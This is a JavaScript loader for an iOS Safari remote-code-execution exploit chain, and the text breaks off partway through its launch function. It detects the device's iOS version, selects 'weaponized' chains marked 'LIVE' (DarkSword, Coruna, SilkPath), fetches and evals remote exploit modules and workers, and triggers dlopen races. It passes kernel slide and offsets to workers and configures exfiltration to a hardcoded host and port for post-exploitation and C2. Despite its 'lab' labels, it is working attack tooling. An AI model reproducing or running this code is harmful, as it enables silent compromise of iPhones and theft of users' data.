try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){} var SERVER_LOG = true; let logStart = new Date().getTime(); let logEntryID = 0; let __printBudget = 60; let __printWindowStart = 0; var offsets = {}; var slide; var chipset; var device_model; function labAssetBase() { try { if (typeof window !== 'undefined' && window.__LAB_DELIVERY_HOST__) return String(window.__LAB_DELIVERY_HOST__).replace(/\/$/, ''); } catch (e0) {} try { var origin = (typeof location !== 'undefined' && location.origin && location.origin !== 'null') ? String(location.origin).replace(/\/$/, '') : ''; var path = '/next-chain'; try { if (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.deliveryPath) path = String(window.NEWS2_CONFIG.deliveryPath); } catch (e1) {} if (path.charAt(0) !== '/') path = '/' + path; return origin + path.replace(/\/+$/, ''); } catch (e2) {} return ''; } function labApiBase() { try { if (typeof location !== 'undefined' && location.origin && location.origin !== 'null') return String(location.origin).replace(/\/$/, ''); } catch (e0) {} return ''; } var localHost = labAssetBase(); function resolveLabDeviceUUID() { let du = ''; try { du = (typeof window !== 'undefined' && window.__LAB_DEVICE_UUID__) || ''; } catch (e0) {} if (!du) { try { du = (typeof localStorage !== 'undefined' && localStorage.getItem('lab_device_uuid')) || ''; } catch (e1) {} } if (!du) { try { const m = (typeof document !== 'undefined' && document.cookie || '').match(/(?:^|; )lab_device_uuid=([^;]*)/); if (m) du = decodeURIComponent(m[1]); } catch (e2) {} } du = String(du || '').replace(/-/g, '').toUpperCase(); if (du && /^[0-9A-F]{16,64}$/.test(du)) { try { if (typeof window !== 'undefined') window.__LAB_DEVICE_UUID__ = du; } catch (e3) {} return du; } return ''; } function print(x, reportError = false, dumphex = false) { let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x; // Mirror to console so frame.html can notify parent (progress/hold). try { console.log(out); } catch (eC) {} try { const s = String(x); if (/RCE success|Finished stage2|handoff ok|inside stage1|check_dlopen/i.test(s)) { if (window.parent && window.parent !== window) { window.parent.postMessage({ type: 'ds-stage', stage: 'worker', progress: 42, label: s.slice(0, 80) }, '*'); } } else if (/stage1_failed|InterposeTupleAll wait timeout/i.test(s)) { if (window.parent && window.parent !== window) { window.parent.postMessage({ type: 'ds-stage', stage: 'worker', progress: 42, label: 'stage1_fail:' + s.slice(0, 60) }, '*'); } } } catch (eP) {} // Server upload: errors only (progress = pe_stage GETs / console). const isErr = reportError || /stage1_failed|fatal|Failed RCE|fail(?:ed|ure)?|error|exception|timeout|abort|InterposeTupleAll wait timeout/i.test(String(x)); if (!isErr) return; if (!SERVER_LOG && !reportError) return; let obj = { id: logEntryID++, text: out, } if (dumphex) { obj.hex = 1 obj.text = x } try { let du = ''; try { du = resolveLabDeviceUUID(); } catch (e0) {} if (du) { obj.deviceUUID = du; obj.device = du; } let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&') const xhr = new XMLHttpRequest(); xhr.open("GET", labApiBase() + "/api/ds/log?" + req , true); if (du) { try { xhr.setRequestHeader('X-Device-UUID', du); } catch (e1) {} } xhr.send(null); } catch (e) {} } function redirect() { // Safari-side grace ended — PE/exfil may still be running in mediaplaybackd. // Do NOT mark S6/100% here; only advance to late PE so the bar matches reality. // 成功/失败均不跳转页面(父页 index 保持不动;iframe 也不进 done.html)。 try { if (window.parent && window.parent !== window) { window.parent.postMessage({ type: 'ds-stage', stage: 'pe', progress: 92, label: '權限提升 · 後台收尾中' }, '*'); window.parent.postMessage({ type: 'ds-chain-settle', progress: 92, label: 'chain settle (no redirect)' }, '*'); } } catch (e) {} try { print('redirect(): skip done.html (stay on current page)', false); } catch (e3) {} } function exfilGraceMs() { // Safari-only hold before done.html redirect. PE/C2 already live in MPD/SB — // not the c2_agent .done poll (removed). Keep a short settle, not 180s. return 10000; } function sleepMs(ms) { return new Promise(function (r) { setTimeout(r, ms); }); } async function waitPeExfilGrace() { const total = exfilGraceMs(); print('pe exfil grace begin ' + Math.round(total / 1000) + 's (safari redirect settle)'); const step = 5000; let elapsed = 0; while (elapsed < total) { await sleepMs(step); elapsed += step; print('pe exfil grace ' + Math.round(elapsed / 1000) + 's / ' + Math.round(total / 1000) + 's'); } print('pe exfil grace complete'); } function isStage1RcePath(v) { // Worker-internal RCE via postMessage(stage1_rce) → main() → _aarw_main. // iOS 18.5+: dedicated workers (18.5 → rce_worker_18.5.js). // iOS 18.4: page check_attempt + stage1 handoff into rce_worker_18.4.js. if (!v || !v.length) return false; if (v[0] > 18) return true; if (v[0] === 18 && (v[1] || 0) >= 5) return true; return false; } function isIos186Plus(v) { return isStage1RcePath(v); } function normalizeIosVersion(v) { if (!v || !v.length) return v; if (v[0] >= 19 || v[0] >= 26) { var minor = v[1] || 0; if (minor >= 7 || v[0] >= 26) return [18, 7].concat(v.slice(2)); if (minor >= 6 || v[0] >= 19) return [18, 6].concat(v.slice(2)); return [18, 5].concat(v.slice(2)); } return v; } function versionParts(v) { return { maj: v[0], min: v[1] || 0, pat: v[2] || 0 }; } function cmpVer(a, b) { for (var i = 0; i < 3; i++) { if (a[i] < b[i]) return -1; if (a[i] > b[i]) return 1; } return 0; } function inVerRange(v, lo, hi) { return cmpVer(v, lo) >= 0 && cmpVer(v, hi) <= 0; } function isPatchedVersion(v) { // DarkSword primary RCE patched on 18.7.3+; full chain closed by 26.3 if (!v || !v.length) return false; if (v[0] === 18 && v[1] === 7 && (v[2] || 0) >= 3) return true; if (v[0] === 18 && (v[1] || 0) >= 8) return true; if (v[0] === 26 && (v[1] || 0) >= 3) return true; return false; } function ghostUsableGrade(v) { if (!v || !v.length) return 'RESEARCH'; var maj = v[0], min = v[1] || 0, pat = v[2] || 0; if (maj === 26 && min >= 3) return 'DEAD'; if (maj === 26 && min === 2) return 'DEAD'; if (maj === 26 && min === 0) return 'RESEARCH_HIGH'; if (maj === 26 && min === 1) return 'RESEARCH'; if (maj === 18 && min === 7 && pat >= 3) return 'DEAD'; if (maj >= 19 && maj <= 25) return 'RESEARCH'; return 'RESEARCH'; } function classifyTarget(v) { if (!v || !v.length) { return { chain: 'unknown', delivery_ok: false, ghostwave: false, version_str: 'unknown', reason: 'no iOS version', patched: false }; } var version_str = v.join('.'); var p = [v[0], v[1] || 0, v[2] || 0]; // Prefer server band plan when frame already fetched /api/ds/chain-targets try { if (typeof window !== 'undefined' && window.__LAB_BAND__) { var b = window.__LAB_BAND__; if (b.chain) { return { chain: b.chain, delivery_ok: b.delivery_ok !== false, ghostwave: b.chain === 'ghostwave', version_str: version_str, reason: b.next_action || b.notes || b.confidence || '', patched: b.usable_grade === 'DEAD' || b.cve_tier === 'fully_patched_26_3', weaponized: !!b.weaponized, usable_grade: b.usable_grade || '', open_cves: b.open_cves || [], cve_tier: b.cve_tier || '', research_priority: b.research_priority, warning: b.weaponized ? '' : 'honesty: not weaponized' }; } } } catch (eBand) {} if (inVerRange(p, [13, 0, 0], [17, 2, 1])) { return { chain: 'coruna', delivery_ok: true, ghostwave: false, version_str: version_str, reason: 'Coruna leaked kit (khanhduytran0/coruna) via /coruna/group.html', patched: false, weaponized: true, usable_grade: 'LIVE' }; } if (cmpVer(p, [17, 2, 1]) > 0 && cmpVer(p, [18, 4, 0]) < 0) { var silk17 = p[0] === 17; return { chain: 'silkpath', delivery_ok: true, ghostwave: false, version_str: version_str, reason: silk17 ? 'SilkPath loader OK but 17.x offsets are 0x0 — RCE gated by silkpath_loader' : 'SilkPath 18.0-18.3 Stage1 + provisional bridged offsets (22E)', patched: false, weaponized: !silk17, usable_grade: silk17 ? 'GATED' : 'PROVISIONAL' }; } if (inVerRange(p, [18, 4, 0], [18, 7, 2])) { return { chain: 'darksword', delivery_ok: true, ghostwave: (p[1] || 0) >= 7, version_str: version_str, reason: (p[1] || 0) >= 7 ? 'DarkSword+GhostWave post-exploit hooks' : 'DarkSword 18.4-18.7.2', patched: false, weaponized: true, usable_grade: 'LIVE' }; } if (inVerRange(p, [18, 7, 3], [26, 3, 99])) { var grade = ghostUsableGrade(v); var fully = (p[0] === 26 && p[1] >= 3); return { chain: 'ghostwave', delivery_ok: true, // research delivery always allowed ghostwave: true, version_str: version_str, reason: fully ? 'iOS 26.3 fully patched (GTIG) — harness telemetry only' : (grade === 'RESEARCH_HIGH' ? 'GhostWave RESEARCH_HIGH — attempt 26.x worker + calibrate' : 'GhostWave research — offsets/chain incomplete'), patched: grade === 'DEAD', weaponized: false, usable_grade: grade, warning: 'Do not treat GhostWave as production-ready' }; } if (cmpVer(p, [26, 3, 99]) > 0) { return { chain: 'out_of_scope', delivery_ok: false, ghostwave: false, version_str: version_str, reason: 'above GhostWave 26.3', patched: true, usable_grade: 'DEAD' }; } return { chain: 'out_of_scope', delivery_ok: false, ghostwave: false, version_str: version_str, reason: 'out of scope', patched: false, usable_grade: 'DEAD' }; } function pickWorkerFile(v) { var raw = v; if (!raw || !raw.length) return null; try { if (typeof window !== 'undefined' && window.__LAB_RECOMMENDED_WORKER__) { return String(window.__LAB_RECOMMENDED_WORKER__); } } catch (e) {} if (raw[0] === 26 && (raw[1] || 0) >= 3) return 'rce_worker_26.3.js'; if (raw[0] >= 19 || raw[0] >= 26) return 'rce_worker_26.x.js'; v = normalizeIosVersion(v); if (v[0] !== 18) return null; var min = v[1] || 0, pat = v[2] || 0; if (min === 7 && pat >= 3) return 'rce_worker_26.x.js'; if (min >= 7) return 'rce_worker_18.7.js'; if (min === 6) return 'rce_worker_18.6.js'; // iOS 18.5: dedicated worker (stage1_rce → sbx0, 22F76). if (min === 5) return 'rce_worker_18.6.js'; // nui verified: 22F76 lives in 18.6 worker // iOS 18.4.x: page check_attempt → stage1 handoff into 18.4 worker. if (min === 4) return 'rce_worker_18.4.js'; return null; } function safariVersionMajor() { try { const m = /Version\/(\d+)/.exec(navigator.userAgent); return m ? parseInt(m[1], 10) : 0; } catch (e) { return 0; } } function workerFallbackChain(v) { var primary = pickWorkerFile(v); if (!primary) return []; if (!v || !v.length) return [primary]; var min = v[1] || 0; var pat = v[2] || 0; // iOS 18.5: dedicated 18.5 worker; fall back to 18.6 then legacy 18.4. if (v[0] === 18 && min === 5) { return ['rce_worker_18.6.js', 'rce_worker_18.5.js', 'rce_worker_18.4.js']; } // iOS 18.4.x: must stay on 18.4 worker (stage1 handoff consumes page offsets). if (v[0] === 18 && min === 4) { return ['rce_worker_18.4.js']; } try { if (typeof window !== 'undefined' && window.__LAB_FALLBACK_WORKERS__ && window.__LAB_FALLBACK_WORKERS__.length) { var chain = []; if (primary) chain.push(primary); for (var i = 0; i < window.__LAB_FALLBACK_WORKERS__.length; i++) { var w = window.__LAB_FALLBACK_WORKERS__[i]; if (w && chain.indexOf(w) < 0) chain.push(w); } if (chain.length) return chain; } } catch (eApi) {} if (!primary) return []; // iOS 26.3+: dedicated harness (fully patched) if (v[0] === 26 && (v[1] || 0) >= 3) { return ['rce_worker_26.3.js', 'rce_worker_26.x.js']; } // iOS 18.7+: prioritize 18.7 worker first (proven 2026-06-14: 18.7 S1 ok in 290ms) if (v[0] >= 19 || (v[0] === 18 && min >= 7)) { // For 18.7.0-18.7.2, prioritize 18.7 worker first if (v[0] === 18 && min === 7 && pat <= 2) { return ['rce_worker_18.7.js', 'rce_worker_26.x.js', 'rce_worker_18.6.js']; } // For 18.7.3+, try 26.x first as it might have better coverage if (v[0] === 18 && min === 7 && pat >= 3) { return ['rce_worker_26.x.js', 'rce_worker_18.7.js', 'rce_worker_18.6.js']; } // For iOS 19+ or Safari 26.0-26.2, try 26.x first return ['rce_worker_26.x.js', 'rce_worker_18.7.js', 'rce_worker_18.6.js']; } // iOS 18.6.x: single worker only (upstream / nuih). No 18.5/18.4 fallback — // those use different handoff paths and crash-skip would just burn attempts. if (v[0] === 18 && min === 6) { return ['rce_worker_18.6.js']; } // Default fallback chain (prefer files present in this lab tree) return [primary, 'rce_worker_18.6.js', 'rce_worker_18.5.js', 'rce_worker_18.4.js']; } function pickModuleFile(v) { var raw = v; v = normalizeIosVersion(v); if (!v || !v.length) return 'rce_module.js'; if (raw[0] >= 19 || raw[0] >= 26) return 'rce_module_18.7.js'; if (v[0] === 18 && (v[1] || 0) >= 7) return 'rce_module_18.7.js'; if (v[0] === 18 && (v[1] || 0) === 6) return 'rce_module_18.6.js'; if (v[0] === 18 && (v[1] || 0) === 5) return 'rce_module_18.6.js'; // iOS 18.4.x: classic module + check_attempt handoff. if (v[0] === 18 && (v[1] || 0) === 4) return 'rce_module.js'; return 'rce_module.js'; } function moduleForWorker(workerFile) { if (!workerFile) return pickModuleFile(ios_version); if (workerFile.indexOf('26.3') >= 0) return ''; // harness — no RCE module if (workerFile.indexOf('26.x') >= 0 || workerFile.indexOf('18.7') >= 0) return 'rce_module_18.7.js'; if (workerFile.indexOf('18.6') >= 0) return 'rce_module_18.6.js'; if (workerFile.indexOf('18.5') >= 0) return 'rce_module_18.5.js'; if (workerFile.indexOf('18.4') >= 0) return 'rce_module.js'; return 'rce_module.js'; } function workerMinBytes(candidate) { if (!candidate) return 5000; if (candidate.indexOf('26.3') >= 0) return 400; return candidate.indexOf('18.4') >= 0 ? 1000 : 5000; } function parseIosVersion() { try { if (typeof window !== 'undefined' && window.__LAB_FORCE_IOS__) { var forced = String(window.__LAB_FORCE_IOS__).split('.').map(function (p) { return parseInt(p, 10); }).filter(function (n) { return !isNaN(n); }); if (forced.length) return forced; } var q = new URLSearchParams(location.search); var qi = q.get('ios') || q.get('version') || ''; if (qi) { var fromQ = qi.split('.').map(function (p) { return parseInt(p, 10); }).filter(function (n) { return !isNaN(n); }); if (fromQ.length) return fromQ; } } catch (eF) {} const ua = navigator.userAgent; let m = /iPhone OS ([0-9_]+)/.exec(ua); if (m) return m[1].split('_').map(function (p) { return parseInt(p, 10); }); m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua); if (m) return m[1].split('_').map(function (p) { return parseInt(p, 10); }); m = /CPU OS ([0-9_]+)/.exec(ua); if (m) return m[1].split('_').map(function (p) { return parseInt(p, 10); }); m = /Version\/(\d+)\.(\d+)/.exec(ua); if (m) return [parseInt(m[1], 10), parseInt(m[2], 10)]; return null; } function resolveDeliveryHost() { var h = labAssetBase(); if (h) return h; try { if (typeof window !== 'undefined' && window.__LAB_DELIVERY_HOST__) return String(window.__LAB_DELIVERY_HOST__).replace(/\/$/, ''); } catch (e) {} return labAssetBase(); } function resolveExfilTarget() { try { if (typeof window !== 'undefined' && window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) return window.__LAB_EXFIL__; } catch (e) {} try { const base = labApiBase(); if (!base) return null; const xhr = new XMLHttpRequest(); xhr.open('GET', base + '/api/ds/chain-targets', false); xhr.send(null); if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) { const d = JSON.parse(xhr.responseText); if (d.exfil && d.exfil.host) return d.exfil; } } catch (e) {} try { if (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil) return window.NEWS2_CONFIG.exfil; } catch (e2) {} const base = labApiBase(); const h = String(base || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; return { host: h || '127.0.0.1', http_port: 80, https_port: 443, tls: false }; } function exfilFields() { const t = resolveExfilTarget(); let deviceUUID = ''; try { deviceUUID = resolveLabDeviceUUID(); } catch (eDu) { deviceUUID = ''; } if (!t) { return { exfilHost: '192.168.31.130', exfilHttpPort: 8018, exfilHttpsPort: 8018, exfilTls: false, exfilFallbackHost: '192.168.31.130', exfilFallbackHttpPort: 8018, deviceUUID, }; } // Prefer explicit GitHub-style IP:4001 from /api/ds/chain-targets const hostRaw = String(t.host || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; const isIp = /^\d+\.\d+\.\d+\.\d+$/.test(hostRaw); const labHttp = isIp || Number(t.http_port) === 4001 || Number(t.http_port) === 8080 || Number(t.http_port) === 8000; if (labHttp && t.tls !== true && t.prefer_https !== true) { const ip = isIp ? hostRaw : hostRaw; return { exfilHost: ip, exfilHttpPort: t.http_port != null ? Number(t.http_port) : 4001, exfilHttpsPort: t.https_port != null ? Number(t.https_port) : 4001, exfilTls: false, exfilFallbackHost: ip, exfilFallbackHttpPort: 8018, statsUrl: t.stats_url_direct || t.stats_url || ('http://' + ip + ':' + (t.http_port || 4001) + '/stats'), deviceUUID, }; } if (t.stats_url) { try { const u = new URL(t.stats_url); const port = u.port ? parseInt(u.port, 10) : (u.protocol === 'https:' ? 443 : 80); return { exfilHost: u.hostname, exfilHttpPort: port, exfilHttpsPort: port, exfilTls: u.protocol === 'https:', statsUrl: t.stats_url, exfilFallbackHost: '192.168.31.130', exfilFallbackHttpPort: 8018, deviceUUID, }; } catch (e) { /* fall through */ } } const host = hostRaw; const tls = t.tls === true || t.prefer_https === true; return { exfilHost: host, exfilHttpPort: t.http_port != null ? t.http_port : (tls ? 443 : 4001), exfilHttpsPort: t.https_port != null ? t.https_port : (tls ? 443 : 4001), exfilTls: tls, exfilFallbackHost: '192.168.31.130', exfilFallbackHttpPort: 8018, statsUrl: t.delivery_stats_url || '', deviceUUID, }; } function ensureBody() { if (document.body) return document.body; var b = document.createElement('body'); if (document.documentElement) document.documentElement.appendChild(b); return b; } function iosVersionKey(v) { if (!v) return ''; if (typeof v === 'string') { if (v.indexOf('.') >= 0) return v.replace(/\./g, ','); return v; } if (v.join) return v.join(','); return String(v); } function validateStage1Handoff() { if (!device_model) { print('handoff reject: missing device_model', true); return false; } if (!offsets || typeof offsets !== 'object') { print('handoff reject: missing offsets object', true); return false; } var keys = Object.keys(offsets); if (keys.length < 40) { print('handoff reject: offsets too small (' + keys.length + ' keys)', true); return false; } if (slide == null || slide === undefined) { print('handoff reject: missing slide', true); return false; } try { if (typeof slide === 'bigint' && slide === 0n) { print('handoff reject: zero slide', true); return false; } } catch (e) {} print('handoff ok: ' + device_model + ' keys=' + keys.length + ' slide=' + (slide && slide.toString ? slide.toString() : slide)); return true; } function packOffsetsForTransfer(src) { var out = {}; if (!src) return out; try { for (var k in src) { if (!Object.prototype.hasOwnProperty.call(src, k)) continue; var val = src[k]; out[k] = (val != null && val.toString) ? val.toString() : String(val); } } catch (e) {} return out; } function postStage1ToWorker(worker, begin, origin, desiredHost) { var msg = { type: 'stage1', begin: begin, origin: origin, ios_version: iosVersionKey(ios_version), device_model: device_model, chipset: chipset, slide: (slide != null && slide.toString) ? slide.toString() : '0', offsets: packOffsetsForTransfer(offsets), desiredHost: desiredHost, SERVER_LOG: SERVER_LOG }; try { var ex = exfilFields(); for (var ek in ex) { if (Object.prototype.hasOwnProperty.call(ex, ek)) msg[ek] = ex[ek]; } } catch (e) {} try { msg._enc_pass = labEncPassword(); } catch (eP) {} try { worker.postMessage(msg); print('stage1 handoff posted (' + (msg.device_model || '?') + ', ' + Object.keys(msg.offsets).length + ' offsets)'); return true; } catch (e) { print('stage1 postMessage failed: ' + e, true); return false; } } function labEncPassword() { try { if (typeof globalThis !== 'undefined' && globalThis.__LAB_ENC_PASS__) return String(globalThis.__LAB_ENC_PASS__); if (typeof window !== 'undefined' && window.__LAB_ENC_PASS__) return String(window.__LAB_ENC_PASS__); } catch (e) {} return '9898asd147258'; } function decryptWireText(text){return text;} function getJS(fname, method = 'GET', tries = 5) { try { const clean = String(fname).replace(/^\//, '').split('?')[0]; const base = resolveDeliveryHost(); if (!base) { print('getJS: no delivery host'); return; } // Prefer encrypted staging (opaque on the wire). // pe_worker/pe_main need server-side UUID bake before encrypt. const path = fname.startsWith('/') ? fname : '/' + fname; const sep = path.indexOf('?') >= 0 ? '&' : '?'; for (let attempt = 1; attempt <= tries; attempt++) { const url = base + path + sep + '_r=' + attempt; let xhr = new XMLHttpRequest(); xhr.open(method, url, false); xhr.send(null); if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText && xhr.responseText.length > 0) { return xhr.responseText; } // 404/410 won't appear on retry — fail fast instead of 5× spam. if (xhr.status === 404 || xhr.status === 410) { print('getJS HTTP ' + xhr.status + ' for ' + fname + ' (no retry)'); return; } if (attempt < tries) { print('getJS retry ' + attempt + '/' + tries + ' HTTP ' + xhr.status + ' for ' + fname); } } print('getJS HTTP failed for ' + fname); } catch (e) { print('getJS error: ' + e); } } var __gwDecryptReady = false; async function ensureGhostWaveDecrypt(){return true;} async function fetchEncryptedJS(){return null;} async function resolveWorkerCode(candidate){return getJS(candidate+'?'+Date.now());} function shouldUseEncryptedStagingSync(){return false;} const signal = new Uint8Array(8); const dlopen_worker = `(() => { self.onmessage = function (e) { const { type, data } = e.data; switch (type) { case 'init': const canvas = new OffscreenCanvas(1, 1); globalThis[0] = data; createImageBitmap(canvas).then(bitmap => { globalThis[1] = bitmap; self.postMessage(null); }); break; case 'dlopen': // Close existing bitmap — this triggers a dyld dlopen path through // ImageIO/CG framework processing on most iOS versions. try { globalThis[1].close(); } catch(_) {} // Immediately create a fresh bitmap so the NEXT close() is also // meaningful. Without this, retrigger_dlopen1 closes an already- // closed bitmap (no-op) and no dlopen happens on the retry. try { var _c2 = new OffscreenCanvas(1, 1); createImageBitmap(_c2).then(function(_b2) { globalThis[1] = _b2; }); } catch(_e2) {} break; } }; })();`; const dlopen_worker_blob = new Blob([dlopen_worker], { type: 'application/javascript'}); const dlopen_worker_url = URL.createObjectURL(dlopen_worker_blob); const ios_version = parseIosVersion(); const chain_target = classifyTarget(ios_version); const worker_plan = workerFallbackChain(ios_version); var __exfilBoot = exfilFields(); print('chain_boot: ios=' + (ios_version ? ios_version.join('.') : 'unknown') + ' safari=' + safariVersionMajor() + ' chain=' + chain_target.chain + ' workers=' + (worker_plan.length ? worker_plan.join('>') : 'none') + ' host=' + resolveDeliveryHost() + ' exfil=' + (__exfilBoot.exfilHost || '?') + ':' + (__exfilBoot.exfilHttpPort || '?') + ' tls=' + !!__exfilBoot.exfilTls); print('ios_version: ' + (ios_version ? ios_version.join('.') : 'unknown')); print('chain_target: ' + chain_target.chain + ' ok=' + chain_target.delivery_ok + ' ' + chain_target.reason); async function runWorkerAttempt(workerCode, workerFile) { var isHarness = workerFile && workerFile.indexOf('26.3') >= 0; return new Promise((resolve) => { let settled = false; function finish(ok) { if (settled) return; settled = true; clearTimeout(watchdog); resolve(!!ok); } var _workerSrc = workerCode; const workerBlobUrl = URL.createObjectURL(new Blob([_workerSrc], { type: 'text/javascript' })); const randomValues = new Uint32Array(32); const begin = Date.now(); const origin = location.origin; const worker = new Worker(workerBlobUrl); const dlopen_workers = []; const iframe = document.createElement('iframe'); iframe.srcdoc = ''; iframe.style.height = '0'; iframe.style.width = '0'; ensureBody().appendChild(iframe); const watchdog = setTimeout(() => { print('worker watchdog timeout: ' + workerFile, true); try { worker.terminate(); } catch (e) {} finish(false); }, isHarness ? 20000 : 1200000); if (isHarness) { worker.onerror = function (err) { print('harness onerror: ' + (err && err.message ? err.message : err), true); try { worker.terminate(); } catch (e) {} finish(true); // harness errors still count as completed research path }; worker.onmessage = function (e) { var data = e.data || {}; if (data.type === 'log') { print(data.text || '', !!data.error); return; } if (data.type === 'stage') { print('harness stage ' + (data.stage || '?') + ' ' + (data.status || '') + ' ' + (data.message || data.reason || '')); return; } if (data.type === 'ready') { worker.postMessage({ name: 'begin', type: 'begin', ios: ios_version ? ios_version.join('.') : '26.3', deviceUUID: resolveLabDeviceUUID(), model: device_model || '', build: '' }); return; } if (data.type === 'done') { print('harness done: ' + (data.message || 'ok')); try { worker.terminate(); } catch (e) {} finish(true); // research path completed honestly } }; // Kick if ready already fired before handler attached setTimeout(function () { try { worker.postMessage({ name: 'begin', type: 'begin', ios: ios_version ? ios_version.join('.') : '26.3', deviceUUID: resolveLabDeviceUUID() }); } catch (eK) {} }, 50); return; } async function prepare_dlopen_workers() { for (let i = 1; i <= 2; ++i) { const dw = new Worker(dlopen_worker_url); dlopen_workers.push(dw); await new Promise(r => { dw.postMessage({ type: 'init', data: 0x11111111 * i }); dw.onmessage = r; }); } } async function message_handler(e) { const data = e.data; switch (data.type) { case 'log': print(data.text || '', !!data.error); break; case 'redirect': await waitPeExfilGrace(); redirect(); finish(true); break; case 'stage1_failed': print('stage1_failed on ' + workerFile + ' (' + (data.reason || '?') + ')', true); try { worker.terminate(); } catch (e) {} finish(false); break; case 'prepare_dlopen_workers': await prepare_dlopen_workers(); worker.postMessage({ type: 'dlopen_workers_prepared' }); break; case 'trigger_dlopen1': // Start scanner first, then close()-trigger dlopen under +0x10 prehold. worker.postMessage({ type: 'check_dlopen1' }); await new Promise(r => setTimeout(r, 30)); dlopen_workers[0].postMessage({ type: 'dlopen' }); break; case 'retrigger_dlopen1': // Fresh bitmap close while scanner waits — another UlvE under prehold. try { dlopen_workers[0].postMessage({ type: 'dlopen' }); } catch (_) {} break; case 'trigger_dlopen2': // Same order as dlopen1: start stack scanner FIRST, then trigger // close()/dlopen. Waiting 250ms then scanning races on fast 18.6.x // devices — dlopen finishes before check_dlopen2 and the retaddr // is gone → infinite efficient_search hang. worker.postMessage({ type: 'check_dlopen2' }); await new Promise(r => setTimeout(r, 30)); dlopen_workers[1].postMessage({ type: 'dlopen' }); break; case 'sign_pointers': iframe.contentDocument.write('1'); worker.postMessage({ type: 'setup_fcall' }); break; case 'slow_fcall': iframe.contentDocument.write('1'); worker.postMessage({ type: 'slow_fcall_done' }); break; default: break; } } worker.onerror = function (err) { print('worker onerror: ' + workerFile + ' ' + (err && err.message ? err.message : err), true); try { worker.terminate(); } catch (e) {} finish(false); }; worker.onmessage = message_handler; try { const mod = moduleForWorker(workerFile); const useWorkerRce = isIos186Plus(ios_version); let rceCode = ''; // Original DarkSword / nuih on 18.6.x: page only loads an 85B stub (or nothing). // RCE is entirely inside rce_worker_18.6 via stage1_rce. Eval'ing the full // 173KB rce_module_18.6.js on the page races the worker heap → WebContent // crash right after "success with N unit tries" (never reaches stage1_prim). if (useWorkerRce) { print('module skip: stage1_rce self-contained (match upstream 18.6)'); } else if (mod) { rceCode = getJS(mod + '?' + Date.now()) || ''; if (!rceCode || rceCode.length < 500) { print('module stub/missing: ' + mod + ' (len=' + ((rceCode && rceCode.length) || 0) + ')'); const fb = getJS('rce_module.js?' + Date.now()); if (fb && fb.length >= 500) { rceCode = fb; print('module fallback -> rce_module.js'); } else { print('module load failed: ' + mod, true); finish(false); return; } } } if (rceCode) { try { eval(rceCode); } catch (e) { print('module eval error: ' + mod + ' ' + e, true); finish(false); return; } } print('module ready: ' + (useWorkerRce ? '(worker-rce)' : (mod || 'none')) + ' len=' + ((rceCode && rceCode.length) || 0) + ' check_attempt=' + (typeof check_attempt)); try { globalThis.ios_version_key = iosVersionKey(ios_version); } catch (e) {} const desiredHost = resolveDeliveryHost(); if (!desiredHost) { print('fatal: no delivery host', true); finish(false); return; } print('rce_path: ' + (useWorkerRce ? 'stage1_rce(worker)' : 'check_attempt(page)') + ' ios=' + (ios_version ? ios_version.join('.') : '?')); if (useWorkerRce) { worker.postMessage(Object.assign({ type: 'stage1_rce', desiredHost, randomValues, SERVER_LOG, _enc_pass: labEncPassword() }, exfilFields())); } else { if (typeof check_attempt !== 'function') { print('fatal: check_attempt missing after module eval', true); finish(false); return; } var attempt = new check_attempt(); function onAttemptDone(result) { if (!result) { print('check_attempt returned false', true); finish(false); return; } if (!validateStage1Handoff()) { finish(false); return; } if (!postStage1ToWorker(worker, begin, origin, desiredHost)) { finish(false); } } print('check_attempt start'); var rceWatch = setTimeout(function () { print('check_attempt still running after 15s (no RCE success/fail yet)', true); }, 15000); attempt.start().then((result) => { clearTimeout(rceWatch); if (!result) { print('check_attempt first try failed — retrying', true); attempt.start().then(onAttemptDone).catch(function (e) { print('check_attempt retry failed: ' + e, true); finish(false); }); } else { onAttemptDone(true); } }).catch(function (e) { clearTimeout(rceWatch); print('check_attempt failed: ' + e, true); finish(false); }); } } catch (e) { print('runWorkerAttempt setup error: ' + e, true); finish(false); } }); } async function launchExploitChain() { var grade = chain_target.usable_grade || ''; print('usable_grade=' + (grade || '?') + ' weaponized=' + !!chain_target.weaponized); // DEAD / fully patched: still run research harness (26.3), do not claim exploit success if (chain_target.chain === 'ghostwave' && (grade === 'DEAD' || chain_target.patched)) { print('GhostWave DEAD path — research harness only: ' + chain_target.reason); if (chain_target.warning) print('warning: ' + chain_target.warning, true); const host = resolveDeliveryHost(); if (!host) { print('fatal: no delivery host resolved', true); return; } var harnessChain = worker_plan.length ? worker_plan : ['rce_worker_26.3.js']; // Prefer 26.3 harness first if (harnessChain.indexOf('rce_worker_26.3.js') < 0) { harnessChain = ['rce_worker_26.3.js'].concat(harnessChain); } for (var hi = 0; hi < harnessChain.length; hi++) { var hc = harnessChain[hi]; if (hc.indexOf('26.3') < 0 && grade === 'DEAD' && ios_version && ios_version[0] === 26 && (ios_version[1] || 0) >= 3) { continue; // do not burn long RCE workers on fully patched 26.3 } var code = await resolveWorkerCode(hc); if (!code || code.length < workerMinBytes(hc)) { print('worker ' + hc + ' unavailable (' + (code ? code.length : 0) + ' bytes)'); continue; } print('launch harness: ' + hc + ' @ ' + host); await runWorkerAttempt(code, hc); return; } print('fatal: 26.3 harness unavailable', true); return; } if (chain_target.patched && chain_target.chain !== 'ghostwave') { print('fatal: iOS version ' + chain_target.version_str + ' is patched: ' + chain_target.reason, true); if (chain_target.warning) { print('warning: ' + chain_target.warning, true); } return; } if (!chain_target.delivery_ok) { print('fatal: delivery blocked ? ' + chain_target.reason, true); return; } const host = resolveDeliveryHost(); if (!host) { print('fatal: no delivery host resolved', true); return; } // JIT + heap warmup before worker spawn (short — long warmup delays S1) try { const warm = new Array(32); for (let w = 0; w < 3; w++) { for (let i = 0; i < warm.length; i++) warm[i] = { a: w, b: i, c: Math.random() }; warm.sort((a, b) => a.b - b.b); } 